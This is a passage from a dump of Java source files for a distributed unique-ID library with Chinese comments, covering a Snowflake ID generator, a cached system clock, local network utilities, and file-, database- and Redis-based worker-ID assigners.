    "content": "package com.myzmds.ecp.core.uid.twitter;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\n/**\n * twitter Snowflake 算法，提供uid生成器\n * @类名称 SnowflakeIdWorker.java\n * @类描述 <pre>twitter Snowflake 算法，提供uid生成器：\n * <br>\n * SnowFlake的结构如下(每部分用-分开):\n * <br>\n * 0 - 0000000000 0000000000 0000000000 0000000000 0 - 00000 - 00000 - 000000000000\n * <br>\n * 1位标识，由于long基本类型在Java中是带符号的，最高位是符号位，正数是0，负数是1，所以id一般是正数，最高位是0\n * <br>\n * 41位时间截(毫秒级)，注意，41位时间截不是存储当前时间的时间截，而是存储时间截的差值（当前时间截 - 开始时间截)\n * <br>\n * 这里的的开始时间截，一般是我们的id生成器开始使用的时间，由我们程序来指定的（如下下面程序IdWorker类的startTime属性）。\n * 41位的时间截，可以使用69年，年T = (1L << 41) / (1000L * 60 * 60 * 24 * 365) = 69\n * <br>\n * 10位的数据机器位，可以部署在1024个节点，包括5位datacenterId和5位workerId<br>\n * <br>\n * 12位序列，毫秒内的计数，12位的计数顺序号支持每个节点每毫秒(同一机器，同一时间截)产生4096个ID序号<br>\n * <br>\n * <br>\n * 加起来刚好64位，为一个Long型。<br>\n * </pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年3月23日 下午6:31:48\n * @版本 1.0.2\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t庄梦蝶殇 \t2018年3月23日         参考多版本Snowflake算法进行合并\n *     1.0.1    庄梦蝶殇     2018年8月31日         引进闰秒回拨处理机制     \n *     1.0.2    庄梦蝶殇     2018年9月3日           新增parseId(反解析方法)        \n *     ----------------------------------------------\n * </pre>\n */\npublic class SnowflakeIdWorker {    \n    // ============================== Constants===========================================\n    /**\n     * 回拨超时错误\n     */\n    private final static String ERROR_CLOCK_BACK = \"时间回拨，拒绝为超出%d毫秒生成ID\";\n    \n    private final static String ERROR_ATTR_LIMIT = \"%s属性的范围为0-%d\";\n    \n    private final static String MSG_UID_PARSE = \"{\\\"UID\\\":\\\"%s\\\",\\\"timestamp\\\":\\\"%s\\\",\\\"workerId\\\":\\\"%d\\\",\\\"dataCenterId\\\":\\\"%d\\\",\\\"sequence\\\":\\\"%d\\\"}\";\n    \n    private final static String DATE_PATTERN_DEFAULT = \"yyyy-MM-dd HH:mm:ss\";\n    \n    // ==============================Fields===========================================\n    /** 开始时间截 (2017-12-25)，用于用当前时间戳减去这个时间戳，算出偏移量 */\n    private final long twepoch = 1514131200000L;\n    \n    /** 机器id所占的位数(表示只允许workId的范围为：0-1023) */\n    private final long workerIdBits = 5L;\n    \n    /** 数据标识id所占的位数 */\n    private final long datacenterIdBits = 5L;\n    \n    /** 支持的最大机器id，结果是31 (这个移位算法可以很快的计算出几位二进制数所能表示的最大十进制数) */\n    public final long maxWorkerId = -1L ^ (-1L << workerIdBits);\n    \n    /** 支持的最大数据标识id，结果是31 */\n    private final long maxDatacenterId = -1L ^ (-1L << datacenterIdBits);\n    \n    /** 序列在id中占的位数 (表示只允许sequenceId的范围为：0-4095)*/\n    private final long sequenceBits = 12L;\n    \n    /** 机器ID向左移12位 */\n    private final long workerIdShift = sequenceBits;\n    \n    /** 数据标识id向左移17位(12+5) */\n    private final long datacenterIdShift = sequenceBits + workerIdBits;\n    \n    /** 时间截向左移22位(5+5+12) */\n    private final long timestampLeftShift = sequenceBits + workerIdBits + datacenterIdBits;\n    \n    /** 生成序列的掩码，(防止溢出:位与运算保证计算的结果范围始终是 0-4095，0b111111111111=0xfff=4095) */\n    private final long sequenceMask = -1L ^ (-1L << sequenceBits);\n    \n    /** 工作机器ID(0~31) */\n    private long workerId;\n    \n    /** 数据中心ID(0~31) */\n    private long datacenterId;\n    \n    /** 毫秒内序列(0~4095) */\n    private long sequence = 0L;\n    \n    /** 上次生成ID的时间截 */\n    private long lastTimestamp = -1L;\n    \n    private boolean isClock = false;\n\n    public void setClock(boolean clock) {\n        isClock = clock;\n    }\n    \n    // ==============================Constructors=====================================\n    /**\n     * 构造函数\n     * \n     * @param workerId 工作ID (0~31)\n     * @param datacenterId 数据中心ID (0~31)\n     */\n    public SnowflakeIdWorker(long workerId, long datacenterId) {\n        if (workerId > maxWorkerId || workerId < 0) {\n            throw new IllegalArgumentException(String.format(ERROR_ATTR_LIMIT, \"workerId\", maxWorkerId));\n        }\n        if (datacenterId > maxDatacenterId || datacenterId < 0) {\n            throw new IllegalArgumentException(String.format(ERROR_ATTR_LIMIT, \"datacenterId\", maxDatacenterId));\n        }\n        this.workerId = workerId;\n        this.datacenterId = datacenterId;\n    }\n    \n    // ==============================Methods==========================================\n    /**\n     * 获得下一个ID (该方法是线程安全的)\n     * \n     * @return SnowflakeId\n     */\n    public synchronized long nextId() {\n        long timestamp = timeGen();\n        // 闰秒：如果当前时间小于上一次ID生成的时间戳，说明系统时钟回退过这个时候应当抛出异常\n        if (timestamp < lastTimestamp) {\n            long offset = lastTimestamp - timestamp;\n            if (offset <= 5) {\n                try {\n                    // 时间偏差大小小于5ms，则等待两倍时间\n                    wait(offset << 1);\n                    timestamp = timeGen();\n                    if (timestamp < lastTimestamp) {\n                        // 还是小于，抛异常并上报\n                        throw new RuntimeException(String.format(ERROR_CLOCK_BACK, lastTimestamp - timestamp));\n                    }\n                } catch (InterruptedException e) {\n                    throw new RuntimeException(e);\n                }\n            } else {\n                throw new RuntimeException(String.format(ERROR_CLOCK_BACK, lastTimestamp - timestamp));\n            }\n        }\n        \n        // 解决跨毫秒生成ID序列号始终为偶数的缺陷:如果是同一时间生成的，则进行毫秒内序列\n        if (lastTimestamp == timestamp) {\n            // 通过位与运算保证计算的结果范围始终是 0-4095\n            sequence = (sequence + 1) & sequenceMask;\n            // 毫秒内序列溢出\n            if (sequence == 0) {\n                // 阻塞到下一个毫秒,获得新的时间戳\n                timestamp = tilNextMillis(lastTimestamp);\n            }\n        } else {\n            // 时间戳改变，毫秒内序列重置\n            sequence = 0L;\n        }\n        \n        // 上次生成ID的时间截\n        lastTimestamp = timestamp;\n\n        /*\n         * 1.左移运算是为了将数值移动到对应的段(41、5、5，12那段因为本来就在最右，因此不用左移)\n         * 2.然后对每个左移后的值(la、lb、lc、sequence)做位或运算，是为了把各个短的数据合并起来，合并成一个二进制数\n         * 3.最后转换成10进制，就是最终生成的id(64位的ID)\n         */\n        return ((timestamp - twepoch) << timestampLeftShift) | (datacenterId << datacenterIdShift) | (workerId << workerIdShift) | sequence;\n    }\n    \n    /**\n     * @方法名称 parseUID\n     * @功能描述 <pre>反解析UID</pre>\n     */\n    public String parseUID(Long uid) {\n        // 总位数\n        long totalBits = 64L;\n        // 标识\n        long signBits = 1L;\n        // 时间戳\n        long timestampBits = 41L;\n        // 解析Uid：标识 -- 时间戳 -- 数据中心 -- 机器码 --序列\n        long sequence = (uid << (totalBits - sequenceBits)) >>> (totalBits - sequenceBits);\n        long dataCenterId = (uid << (timestampBits + signBits)) >>> (totalBits - datacenterIdBits);\n        long workerId = (uid << (timestampBits + signBits + datacenterIdBits)) >>> (totalBits - workerIdBits);\n        long deltaSeconds = uid >>> (datacenterIdBits + workerIdBits + sequenceBits);\n        // 时间处理(补上开始时间戳)\n        Date thatTime = new Date(twepoch + deltaSeconds);\n        String date = new SimpleDateFormat(DATE_PATTERN_DEFAULT).format(thatTime);\n        // 格式化输出\n        return String.format(MSG_UID_PARSE, uid, date, workerId, dataCenterId, sequence);\n    }\n\n    /**\n     * @方法名称 parseUID\n     * @功能描述 <pre>反解析UID(字符串截取，性能相对差；不推荐使用)</pre>\n     */\n    public String parseUID(String uid) {\n        uid = Long.toBinaryString(Long.parseLong(uid));\n        int len = uid.length();\n        /* 解析Uid：标识 -- 时间戳 -- 数据中心 -- 机器码 --序列 */\n        // sequence起始数\n        int sequenceStart = len < workerIdShift ? 0 : (int)(len - workerIdShift);\n        // worker起始数\n        int workerStart = len < datacenterIdShift ? 0 : (int)(len - datacenterIdShift);\n        // 时间起始数\n        int timeStart = len < timestampLeftShift ? 0 : (int)(len - timestampLeftShift);\n        String sequence = uid.substring(sequenceStart, len);\n        String workerId = sequenceStart == 0 ? \"0\" : uid.substring(workerStart, sequenceStart);\n        String dataCenterId = workerStart == 0 ? \"0\" : uid.substring(timeStart, workerStart);\n        // 时间处理(补上开始时间戳)\n        String time = timeStart == 0 ? \"0\" : uid.substring(0, timeStart);\n        Date timeDate = new Date(Long.parseLong(time, 2) + twepoch);\n        String date = new SimpleDateFormat(DATE_PATTERN_DEFAULT).format(timeDate);\n        // 格式化输出\n        return String.format(MSG_UID_PARSE, uid, date, Integer.valueOf(workerId, 2), Integer.valueOf(dataCenterId, 2), Integer.valueOf(sequence, 2));\n    }\n    \n    /**\n     * 保证返回的毫秒数在参数之后(阻塞到下一个毫秒，直到获得新的时间戳)\n     * \n     * @param lastTimestamp 上次生成ID的时间截\n     * @return 当前时间戳\n     */\n    protected long tilNextMillis(long lastTimestamp) {\n        long timestamp = timeGen();\n        while (timestamp <= lastTimestamp) {\n            timestamp = timeGen();\n        }\n        return timestamp;\n    }\n    \n    /**\n     * 获得系统当前毫秒数\n     * \n     * @return 当前时间(毫秒)\n     */\n    protected long timeGen() {\n        if (isClock) {\n            // 解决高并发下获取时间戳的性能问题\n            return SystemClock.now();\n        } else {\n            return System.currentTimeMillis();\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/twitter/SystemClock.java",
    "content": "package com.myzmds.ecp.core.uid.twitter;\n\nimport java.sql.Timestamp;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\n\nimport com.myzmds.ecp.core.uid.baidu.utils.NamingThreadFactory;\n\n/**\n * 高并发场景下System.currentTimeMillis()的性能问题的优化\n * <p>\n * <p>\n * System.currentTimeMillis()的调用比new一个普通对象要耗时的多（参加https://www.jianshu.com/p/3fbe607600a5）\n * <p>\n * System.currentTimeMillis()之所以慢是因为去跟系统打了一次交道\n * <p>\n * 后台定时更新时钟，JVM退出时，线程自动回收\n * <p>\n * 10亿：43410,206,210.72815533980582%\n * <p>\n * 1亿：4699,29,162.0344827586207%\n * <p>\n * 1000万：480,12,40.0%\n * <p>\n * 100万：50,10,5.0%\n * <p>\n * \n * @author lry\n */\npublic class SystemClock {\n\n    /**\n     * 线程名--系统时钟\n     */\n    public static final String THREAD_CLOCK_NAME=\"System Clock\";\n    \n    private final long period;\n    \n    private final AtomicLong now;\n    \n    private SystemClock(long period) {\n        this.period = period;\n        this.now = new AtomicLong(System.currentTimeMillis());\n        scheduleClockUpdating();\n    }\n    \n    private static class InstanceHolder {\n        public static final SystemClock INSTANCE = new SystemClock(1);\n    }\n    \n    private static SystemClock instance() {\n        return InstanceHolder.INSTANCE;\n    }\n    \n    private void scheduleClockUpdating() {\n        ScheduledExecutorService scheduledpool = new ScheduledThreadPoolExecutor(1, new NamingThreadFactory(THREAD_CLOCK_NAME, true));\n        scheduledpool.scheduleAtFixedRate(() -> {\n            now.set(System.currentTimeMillis());\n        }, period, period, TimeUnit.MILLISECONDS);\n    }\n    \n    private long currentTimeMillis() {\n        return now.get();\n    }\n    \n    public static long now() {\n        return instance().currentTimeMillis();\n    }\n    \n    public static String nowDate() {\n        return new Timestamp(instance().currentTimeMillis()).toString();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/util/NetUtils.java",
    "content": "package com.myzmds.ecp.core.uid.util;\n\nimport java.io.IOException;\nimport java.net.InetAddress;\nimport java.net.NetworkInterface;\nimport java.net.ServerSocket;\nimport java.net.UnknownHostException;\nimport java.util.Enumeration;\nimport java.util.Random;\nimport java.util.regex.Pattern;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * @类名称 NetUtils.java\n * @类描述 <pre>网络ip辅助类(本机)</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月3日 下午5:04:05\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年9月3日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class NetUtils {\n    public static Logger logger = LoggerFactory.getLogger(NetUtils.class);\n    \n    public static final String ANYHOST = \"0.0.0.0\";\n    \n    public static final String LOCALHOST = \"127.0.0.1\";\n    \n    private static final int RND_PORT_START = 30000;\n    \n    private static final int RND_PORT_RANGE = 10000;\n    \n    private static final Random RANDOM = new Random(System.currentTimeMillis());\n    \n    private static final int MAX_PORT = 65535;\n    \n    private static final Pattern IP_PATTERN = Pattern.compile(\"\\\\d{1,3}(\\\\.\\\\d{1,3}){3,5}$\");\n    \n    /**\n     * 获取本地地址\n     */\n    public static InetAddress getLocalInetAddress() {\n        InetAddress localAddress;\n        try {\n            localAddress = InetAddress.getLocalHost();\n            if (isValidAddress(localAddress)) {\n                return localAddress;\n            }\n        } catch (UnknownHostException e) {\n            logger.error(\"本地地址获取失败: \" + e.getMessage());\n        }\n        return getLocalLanAddress();\n    }\n    \n    /**\n     * 获取Lan地址\n     */\n    public static InetAddress getLocalLanAddress() {\n        try {\n            // 1、遍历所有的网络接口\n            Enumeration<NetworkInterface> interfaces = NetworkInterface.getNetworkInterfaces();\n            if (interfaces != null) {\n                while (interfaces.hasMoreElements()) {\n                    NetworkInterface network = interfaces.nextElement();\n                    if (network.isLoopback()) {\n                        // 排除loopback类型地址\n                        continue;\n                    }\n                    Enumeration<InetAddress> addresses = network.getInetAddresses();\n                    if (addresses == null) {\n                        continue;\n                    }\n                    // 2、在所有的接口下再遍历IP\n                    while (addresses.hasMoreElements()) {\n                        InetAddress address = addresses.nextElement();\n                        if (isValidAddress(address)) {\n                            return address;\n                        }\n                    }\n                }\n            }\n        } catch (Exception e) {\n            logger.error(\"无法确定Lan地址: \" + e.getMessage());\n        }\n        return null;\n    }\n    \n    /**\n     * 获取机器码\n     */\n    public static byte[] getMachineNum() {\n        try {\n            InetAddress ip = NetUtils.getLocalInetAddress();\n            NetworkInterface network = NetworkInterface.getByInetAddress(ip);\n            if (network != null) {\n                byte[] mac = network.getHardwareAddress();\n                if (null != mac) {\n                    return mac;\n                }\n            }\n        } catch (Exception e) {\n            logger.error(\"机器码获取失败：\" + e.getMessage());\n        }\n        return null;\n    }\n    \n    /**\n     * 是否有效地址\n     */\n    private static boolean isValidAddress(InetAddress address) {\n        if (address == null || address.isLoopbackAddress()) {\n            return false;\n        }\n        String name = address.getHostAddress();\n        return (name != null && !ANYHOST.equals(name) && !LOCALHOST.equals(name) && IP_PATTERN.matcher(name).matches());\n    }\n    \n    public static int getRandomPort() {\n        return RND_PORT_START + RANDOM.nextInt(RND_PORT_RANGE);\n    }\n    \n    public static int getAvailablePort() {\n        ServerSocket ss = null;\n        try {\n            ss = new ServerSocket();\n            ss.bind(null);\n            return ss.getLocalPort();\n        } catch (IOException e) {\n            return getRandomPort();\n        } finally {\n            if (ss != null) {\n                try {\n                    ss.close();\n                } catch (IOException e) {\n                }\n            }\n        }\n    }\n    \n    public static int getAvailablePort(int port) {\n        if (port <= 0) {\n            return getAvailablePort();\n        }\n        for (int i = port; i < MAX_PORT; i++) {\n            ServerSocket ss = null;\n            try {\n                ss = new ServerSocket(i);\n                return i;\n            } catch (IOException e) {\n                // continue\n            } finally {\n                if (ss != null) {\n                    try {\n                        ss.close();\n                    } catch (IOException e) {\n                    }\n                }\n            }\n        }\n        return port;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/util/WorkerIdUtils.java",
    "content": "package com.myzmds.ecp.core.uid.util;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.net.ServerSocket;\n\n/**\n * @类名称 WorkerIdUtils.java\n * @类描述 <pre>workid 文件操作类</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年1月16日 下午2:31:31\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t\t庄梦蝶殇 \t2019年1月16日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class WorkerIdUtils {\n    /**\n     * workerID文件 分隔符\n     */\n    public static final String WORKER_SPLIT = \"_\";\n    \n    /**\n     * @方法名称 getPidName\n     * @功能描述 <pre>获取workId文件名</pre>\n     * @param pidPort 使用端口(同机多uid应用时区分端口)\n     * @param socket \n     * @return\n     */\n    public static String getPidName(Integer pidPort, ServerSocket socket) {\n        String pidName = NetUtils.getLocalInetAddress().getHostAddress();\n        if (-1 != pidPort) {\n            // 占用端口\n            pidPort = null != pidPort && pidPort > 0 ? pidPort : NetUtils.getAvailablePort();\n            try {\n                socket = new ServerSocket(pidPort);\n            } catch (IOException e) {\n                throw new RuntimeException(\"接口占用失败！\");\n            }\n        }\n        return pidName + WorkerIdUtils.WORKER_SPLIT + pidPort;\n    }\n    \n    /**\n     * @方法名称 getPid\n     * @功能描述 <pre>查找pid文件，根据前缀获取workid</pre>\n     * @param pidHome workerID文件存储路径\n     * @param prefix workerID文件前缀\n     * @return workerID值\n     */\n    public static Long getPid(String pidHome, String prefix) {\n        String pid = null;\n        File home = new File(pidHome);\n        if (home.exists() && home.isDirectory()) {\n            File[] files = home.listFiles();\n            for (File file : files) {\n                if (file.getName().startsWith(prefix)) {\n                    pid = file.getName();\n                    break;\n                }\n            }\n            if (null != pid) {\n                return Long.valueOf(pid.substring(pid.lastIndexOf(WORKER_SPLIT) + 1));\n            }\n        } else {\n            home.mkdirs();\n        }\n        return null;\n    }\n    \n    /**\n     * @方法名称 sleepMs\n     * @功能描述 <pre>回拨时间睡眠等待</pre>\n     * @param ms 平均心跳时间\n     * @param diff 回拨差时间\n     */\n    public static void sleepMs(long ms, long diff) {\n        try {\n            Thread.sleep(ms);\n        } catch (InterruptedException e) {\n            \n        }\n        diff += ms;\n        if (diff < 0) {\n            sleepMs(ms, diff);\n        }\n    }\n    \n    /**\n     * @方法名称 writePidFile\n     * @功能描述 <pre>创建workerID文件(workerID文件已经存在,则不创建,返回一个false；如果没有,则返回true)</pre>\n     * @param name\n     */\n    public static void writePidFile(String name) {\n        File pidFile = new File(name);\n        try {\n            pidFile.createNewFile();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/AbstractIntervalWorkId.java",
    "content": "package com.myzmds.ecp.core.uid.worker;\n\nimport java.io.File;\nimport java.net.ServerSocket;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport org.springframework.beans.factory.InitializingBean;\n\nimport com.myzmds.ecp.core.uid.baidu.utils.NamingThreadFactory;\nimport com.myzmds.ecp.core.uid.util.WorkerIdUtils;\n\n/**\n * @类名称 AbstractIntervalWorkId.java\n * @类描述 <pre>WorkId生成基类</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年1月17日 下午4:21:17\n * @版本 1.0.0\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t\t庄梦蝶殇 \t2019年1月17日             \n *     ----------------------------------------------\n * </pre>\n */\npublic abstract class AbstractIntervalWorkId implements WorkerIdAssigner, InitializingBean {\n    /**\n     * 本地workid文件跟目录\n     */\n    public static final String PID_ROOT = \"/data/pids/\";\n    \n    /**\n     * 线程名-心跳\n     */\n    public static final String THREAD_HEARTBEAT_NAME = \"zk_heartbeat\";\n    \n    /**\n     * 心跳原子标识\n     */\n    protected AtomicBoolean active = new AtomicBoolean(false);\n    \n    /**\n     * 心跳间隔\n     */\n    protected Long interval = 3000L;\n    \n    /**\n     * workerID 文件存储路径\n     */\n    protected String pidHome = PID_ROOT;\n    \n    /**\n     * 因子ID\n     */\n    protected Long workerId;\n    \n    /**\n     * 使用端口(同机多uid应用时区分端口)\n     */\n    private Integer pidPort = -1;\n    \n    protected String pidName;\n    \n    protected ServerSocket socket;\n    \n    @Override\n    public void afterPropertiesSet()\n        throws Exception {\n        try {\n            /**\n             * 1、检查workId文件是否存在。文件名为ip:port-redis顺序编号\n             */\n            pidName = WorkerIdUtils.getPidName(pidPort, socket);\n            workerId = WorkerIdUtils.getPid(pidHome, pidName);\n            /**\n             * 3、获取本地时间，跟uid 机器节点心跳列表的时间平均值做比较(uid 机器节点心跳列表 用于存储活跃节点的上报时间，每隔一段时间上报一次临时节点时间)\n             */\n            long diff = System.currentTimeMillis() - action();\n            if (diff < 0) {\n                // 当前时间小于活跃节点的平均心跳时间，证明出现时间回拨，进入等待。\n                WorkerIdUtils.sleepMs(interval * 2, diff);\n            }\n            if (null != workerId) {\n                startHeartBeatThread();\n                // 赋值workerId\n                WorkerIdUtils.writePidFile(pidHome + File.separatorChar + pidName + WorkerIdUtils.WORKER_SPLIT + workerId);\n            }\n        } catch (Exception e) {\n            active.set(false);\n            if (null != socket) {\n                socket.close();\n            }\n            throw e;\n        }\n    }\n    \n    /**\n     * @方法名称 action\n     * @功能描述 <pre>workId文件不存在时的操作</pre>\n     * @return 机器节点列表的 活跃时间平均值\n     */\n    public abstract long action();\n    \n    /**\n     * @方法名称 startHeartBeatThread\n     * @功能描述 <pre>心跳线程，用于每隔一段时间上报一次临时节点时间</pre>\n     */\n    protected void startHeartBeatThread() {\n        ScheduledExecutorService scheduledpool = new ScheduledThreadPoolExecutor(1, new NamingThreadFactory(THREAD_HEARTBEAT_NAME, true));\n        scheduledpool.scheduleAtFixedRate(() -> {\n            if (active.get() == false) {\n                scheduledpool.shutdownNow();\n            } else if (where()) {\n                report();\n            }\n        }, 0L, interval, TimeUnit.MILLISECONDS);\n    }\n    \n    /**\n     * @方法名称 where\n     * @功能描述 <pre>心跳条件</pre>\n     * @return true:执行心跳上报，false:空动作\n     */\n    public abstract boolean where();\n    \n    /**\n     * @方法名称 report\n     * @功能描述 <pre>心跳上报</pre>\n     */\n    public abstract void report();\n    \n    @Override\n    public long assignWorkerId() {\n        return workerId;\n    }\n    \n    public Long getInterval() {\n        return interval;\n    }\n    \n    public void setInterval(Long interval) {\n        this.interval = interval;\n    }\n    \n    public String getPidHome() {\n        return pidHome;\n    }\n    \n    public void setPidHome(String pidHome) {\n        this.pidHome = pidHome;\n    }\n    \n    public Integer getPidPort() {\n        return pidPort;\n    }\n    \n    public void setPidPort(Integer pidPort) {\n        this.pidPort = pidPort;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/DisposableWorkerIdAssigner.java",
    "content": "package com.myzmds.ecp.core.uid.worker;\n\nimport java.util.Random;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport com.myzmds.ecp.core.uid.baidu.utils.DockerUtils;\nimport com.myzmds.ecp.core.uid.util.NetUtils;\nimport com.myzmds.ecp.core.uid.worker.dao.WorkerNodeDAO;\nimport com.myzmds.ecp.core.uid.worker.entity.WorkerNode;\n\n/**\n * DB编号分配器(利用数据库来管理)\n * @author yutianbao\n */\npublic class DisposableWorkerIdAssigner implements WorkerIdAssigner {\n    private static final Logger LOGGER = LoggerFactory.getLogger(DisposableWorkerIdAssigner.class);\n    \n    private WorkerNodeDAO workerNodeDAO;\n\n    /**\n     * Assign worker id base on database.<p>\n     * If there is host name & port in the environment, we considered that the node runs in Docker container<br>\n     * Otherwise, the node runs on an actual machine.\n     * \n     * @return assigned worker id\n     */\n    @Transactional(rollbackFor = Exception.class)\n    @Override\n    public long assignWorkerId() {\n        // build worker node entity\n        WorkerNode workerNodeEntity = buildWorkerNode();\n\n        // add worker node for new (ignore the same IP + PORT)\n        workerNodeDAO.addWorkerNode(workerNodeEntity);\n        LOGGER.info(\"Add worker node:\" + workerNodeEntity);\n\n        return workerNodeEntity.getId();\n    }\n\n    /**\n     * Build worker node entity by IP and PORT\n     */\n    private WorkerNode buildWorkerNode() {\n        WorkerNode workerNodeEntity = new WorkerNode();\n        if (DockerUtils.isDocker()) {\n            workerNodeEntity.setType(WorkerNodeType.CONTAINER.value());\n            workerNodeEntity.setHostName(DockerUtils.getDockerHost());\n            workerNodeEntity.setPort(DockerUtils.getDockerPort());\n\n        } else {\n            workerNodeEntity.setType(WorkerNodeType.ACTUAL.value());\n            workerNodeEntity.setHostName(NetUtils.getLocalInetAddress().getHostAddress());\n            workerNodeEntity.setPort(System.currentTimeMillis() + \"-\" + RANDOM.nextInt(100000));\n        }\n\n        return workerNodeEntity;\n    }\n    \n    private static final Random RANDOM = new Random();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/RedisWorkIdAssigner.java",
    "content": "package com.myzmds.ecp.core.uid.worker;\n\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.RedisTemplate;\n\n/**\n * @类名称 RedisWorkIdAssigner.java\n * @类描述 <pre>Redis编号分配器</pre>\n * @作者  庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2019年1月16日 下午3:32:07\n * @版本 1.0.1\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.0.0 \t\t庄梦蝶殇 \t2019年1月16日             \n *     1.0.1        庄梦蝶殇    2019年1月18日      完善代码\n *     ----------------------------------------------\n * </pre>\n */\npublic class RedisWorkIdAssigner extends AbstractIntervalWorkId {\n    /**\n     * redis上uid 机器节点的key前缀\n     */\n    public static final String UID_ROOT = \"ecp:uid:\";\n    \n    /**\n     * uid 机器节点列表\n     */\n    public static final String UID_FOREVER = UID_ROOT.concat(\"forever\");\n    \n    /**\n     * uid 活跃节点心跳列表(用于保存活跃节点及活跃心跳)\n     */\n    public static final String UID_TEMPORARY = UID_ROOT.concat(\"temporary:\");\n    \n    @Autowired\n    private RedisTemplate<Object, Object> redisTemplate;\n    \n    @Override\n    public long action() {\n        /**\n         * 1、文件不存在，检查redis上是否存在ip:port的机器节点\n         */\n        Set<Object> uidWork = redisTemplate.opsForZSet().range(UID_FOREVER, 0, -1);\n        if (null == workerId) {\n            // a、 检查redis上是否存在ip:port的节点,存在，获取节点的顺序编号\n            Long i = 0L;\n            for (Object item : uidWork) {\n                i++;\n                if (item.toString().equals(pidName)) {\n                    workerId = i;\n                    break;\n                }\n            }\n            // b、 不存在，创建ip:port节点\n            if (null == workerId) {\n                workerId = (long)uidWork.size();\n                // 使用zset 时间排序，保证有序性\n                redisTemplate.opsForZSet().add(UID_FOREVER, pidName, System.currentTimeMillis());\n                uidWork.add(pidName);\n            }\n        }\n        /**\n         * 2、创建临时机器节点的时间\n         */\n        redisTemplate.opsForValue().set(UID_TEMPORARY + pidName, System.currentTimeMillis(), interval * 3, TimeUnit.MILLISECONDS);\n        active.set(true);\n        \n        /**\n         * 3、获取本地时间，跟uid 活跃节点心跳列表的时间平均值做比较(uid 活跃节点心跳列表 用于存储活跃节点的上报时间，每隔一段时间上报一次临时节点时间)\n         */\n        Long sumTime = 0L;\n        if (null != uidWork && uidWork.size() > 0) {\n            for (Object itemName : uidWork) {\n                Object itemTime = redisTemplate.opsForValue().get(UID_TEMPORARY + itemName);\n                sumTime += null == itemTime ? 0 : Long.valueOf(itemTime.toString());\n            }\n            return sumTime / uidWork.size();\n        }\n        return 0;\n    }\n    \n    @Override\n    public boolean where() {\n        return null != workerId;\n    }\n    \n    @Override\n    public void report() {\n        redisTemplate.opsForValue().set(UID_TEMPORARY + pidName, System.currentTimeMillis(), interval * 3, TimeUnit.MILLISECONDS);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/SimpleWorkerIdAssigner.java",
    "content": "package com.myzmds.ecp.core.uid.worker;\n\n/**\n * @类名称 SimpleWorkerIdAssigner.java\n * @类描述 <pre>简单编号分配器(即不用workerId)</pre>\n * @作者 庄梦蝶殇 linhuaichuan1989@126.com\n * @创建时间 2018年9月5日 上午11:43:45\n * @版本 1.00\n *\n * @修改记录\n * <pre>\n *     版本                       修改人 \t\t修改日期 \t\t 修改内容描述\n *     ----------------------------------------------\n *     1.00 \t庄梦蝶殇 \t2018年9月5日             \n *     ----------------------------------------------\n * </pre>\n */\npublic class SimpleWorkerIdAssigner implements WorkerIdAssigner {\n    \n    @Override\n    public long assignWorkerId() {\n        return 0;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_uid/src/main/java/com/myzmds/ecp/core/uid/worker/WorkerIdAssigner.java",
